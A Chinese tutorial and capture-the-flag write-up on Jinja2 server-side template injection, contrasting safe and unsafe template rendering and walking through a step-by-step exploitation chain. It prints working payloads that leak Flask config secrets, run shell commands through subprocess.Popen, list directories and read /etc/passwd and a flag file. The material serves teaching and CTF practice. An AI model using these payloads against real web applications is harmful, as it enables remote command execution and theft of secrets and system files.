当前位置: 首页 > news >正文

Python模板注入漏洞

1. 什么是 SSTI?

SSTI 的全称是 Server-Side Template Injection,即服务器端模板注入。

模板引擎:为了将动态数据(如用户信息、文章内容)和静态页面结构(如 HTML 骨架)分离,开发者会使用模板引擎。模板是一个包含占位符或逻辑块的文本文件,模板引擎会解析这些占位符和逻辑,并用真实数据替换它们,最终生成一个完整的 HTML 页面返回给用户。

注入:当攻击者能够将恶意的模板代码插入到模板中,并且服务器没有进行恰当的过滤或沙箱隔离,导致这些代码被模板引擎执行时,就发生了 SSTI 漏洞。

2.Python模板注入漏洞

Python模版注入漏洞(Template Injection Vulnerability)是一种安全漏洞,通常发生在使用模版引擎(如Jinja2Django模版等)渲染用户提供的输入时。在Jinja2模板引擎中,{{}}是变量包裹标识符,{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。当用户输入未经过充分过滤或验证的内容被直接插入到模版中时,攻击者可以利用这一漏洞在服务器端执行恶意代码或进行其他形式的攻击。

安全的使用方式:

from jinja2 import Templatedef safe_template_usage(user_input):# 固定模板结构,用户输入只作为数据template = Template("Welcome, {{ username }}!")# 用户输入被安全地作为参数传递result = template.render(username=user_input)return result# 测试
print(safe_template_usage("Alice"))      # 输出: Welcome, Alice!
print(safe_template_usage("{{ 7*7 }}"))  # 输出: Welcome, {{ 7*7 }}!

不安全的使用方式:

from jinja2 import Templatedef vulnerable_template_usage(user_input):# 用户输入被拼接到模板结构中template_string = "Welcome, " + user_input + "!"template = Template(template_string)  # 用户输入成为模板代码的一部分# 渲染时没有额外参数result = template.render()return result# 测试
print(vulnerable_template_usage("Alice"))      # 输出: Welcome, Alice!
print(vulnerable_template_usage("{{ 7*7 }}"))  # 输出: Welcome, 49! (SSTI!)

3.Python模板注入利用

步骤 1:探测与确认

首先,你需要确认是否存在 SSTI。尝试输入一些基本的数学运算或通用的模板语法。

输入:{{ 7*7 }}

观察:如果页面返回 49,那么极有可能存在 Jinja2 或 Tornado 的 SSTI。

步骤 2:信息收集

在发起真正的攻击前,你需要了解你处在什么样的沙箱环境中,以及你能访问到什么。

获取配置信息

{{ config }}:在 Flask 应用中,尝试获取配置信息,可能包含数据库密码、密钥等。

探索对象和属性

{{ ''.__class__ }}:这是一个经典的攻击链起点。它获取空字符串的类对象。

输出:<class ‘str’>

{{ ''.__class__.__mro__ }}:显示方法解析顺序,即该类的所有父类。

输出:(<class ‘str’>, <class ‘object’>)

我们的目标是找到所有类的基类 object,因为它包含了几乎所有我们需要的东西。

步骤 3:构建利用链

Python中的魔术方法:

(1)__class__:返回类实例或对象实例所属的对象。

(2)__mro__:返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。

(3)__bases__:返回类所继承的基类。但不包含所继承类的父类。

(4)__subclasses__():获取一个类的子类,返回的是一个列表。

(5)__init__:获取类的初始化方法,在SSTI中连接类和全局变量。

(6)__globals__:获取全局命名空间。

(7)__builtins__ :获取内置函数字典。

完整的利用链分解:

# 1. 起点:获取字符串对象的类
"{{ ''.__class__ }}"                          # → <class 'str'># 2. 获取继承链,找到 object 基类  
"{{ ''.__class__.__mro__ }}"                  # → (<class 'str'>, <class 'object'>)
"{{ ''.__class__.__mro__[1] }}"               # → <class 'object'># 3. 获取 object 的所有子类
"{{ ''.__class__.__mro__[1].__subclasses__() }}"
# → [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]# 4. 找到有用的类(比如第40个是 subprocess.Popen)
"{{ ''.__class__.__mro__[1].__subclasses__()[40] }}"  # → <class 'subprocess.Popen'># 5. 执行命令
"{{ ''.__class__.__mro__[1].__subclasses__()[40]('whoami', shell=True, stdout=-1).communicate() }}"# 6. 读取/etc/passwd文件
"{{ ''.__class__.__mro__[1].__subclasses__()[40].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}"

4.攻防世界——Web_python_template_injection

这个一个python模板注入攻击

首先我们使用payload:{{7*7}}来探测,发现结果为49,存在SSTI漏洞。

使用payload获取所有继承的类

{{' '.__class__.__mro__}}

使用payload获取object类所有的子类([2]表示返回元组的第三个元素,<type 'object'>)。可以看到有一个type file类型(可以进行文件读取)。

{{' '.__class__.__mro__[2].__subclasses__()}}

使用payload来尝试读取/etc/passwd文件,读取成功。

{{ ' '.__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

可以看到有一个 <class 'site._Printer'>类型(可以进行命令执行)

使用payload来获取当前目录下的文件

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

使用payload读取flag

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

5.为什么攻击者喜欢 site._Printer

特性优势
通常包含 sys 模块可以访问系统相关功能
可能包含 os 模块直接执行系统命令
相对常见在大多数 Python 环境中都存在
索引位置较固定在不同系统中位置变化不大
权限较高作为标准库组件,通常有足够权限
http://www.dtcms.com/a/568861.html

相关文章:

  • 【SMTP】在线配置测试工具,如何配置接口?
  • 黑马JAVAWeb-01 Maven依赖管理-生命周期-单元测试
  • 第12讲:入门级状态管理方案 - Provider详解
  • 单调栈的“视线”魔法:统计「队列中可以看到的人数」
  • 【2025 SWPU-NSSCTF 秋季训练赛】WebFTP
  • 海淀教育互动平台网站建设哪些网站是wordpress
  • 网站开发定制宣传图片北京百度推广排名优化
  • ELK企业级日志分析系统学习
  • 360开源FG-CLIP2,给人工智能升级了精准的视觉解析系统
  • 关于dify中http节点下载文件时,文件名不为原始文件名问题解决
  • 期中考试成绩查询系统制作方法
  • Vue 用户管理系统(路由相关练习)
  • AI时代的新SEO玩法:使用SERP API构建排名追踪系统
  • 宝塔配置:IP文件配置,根据端口配置多个项目文件(不配置域名的情况)
  • 网站布局怎么设计哪个网站可以学做蛋糕
  • 深圳网站设计兴田德润信任高网站推广目标是什么
  • Java并发List实战:CopyOnWriteArrayList原理与ArrayList常见面试题
  • 【JavaEE】-- Cookie Session
  • --- Http和Https协议 ---
  • 无HTTP服务时的文件传输方法大全
  • 微信注册重庆网站优化方式
  • Spring Boot Web上下文工具类详解:获取Request、Response和参数
  • php购物网站开发实例源码杭州小程序制作公司排行榜
  • 测试开发话题09---自动化测试常用函数(1)
  • Linux - Fail2ban搭配 firewallcmd-rich-rules 完整部署教程
  • 使用 nvm 安装 Node.js
  • Arbess零基础学习 - 使用Arbess+GitLab实现Node.js项目自动化构建/主机部署
  • Linux 虚拟化技术 KVM/ESXI/Docker
  • C006基于博途西门子1200PLC机械手分拣物料控制系统仿真
  • 网站建设ui设计dw怎么做别人可以看的网站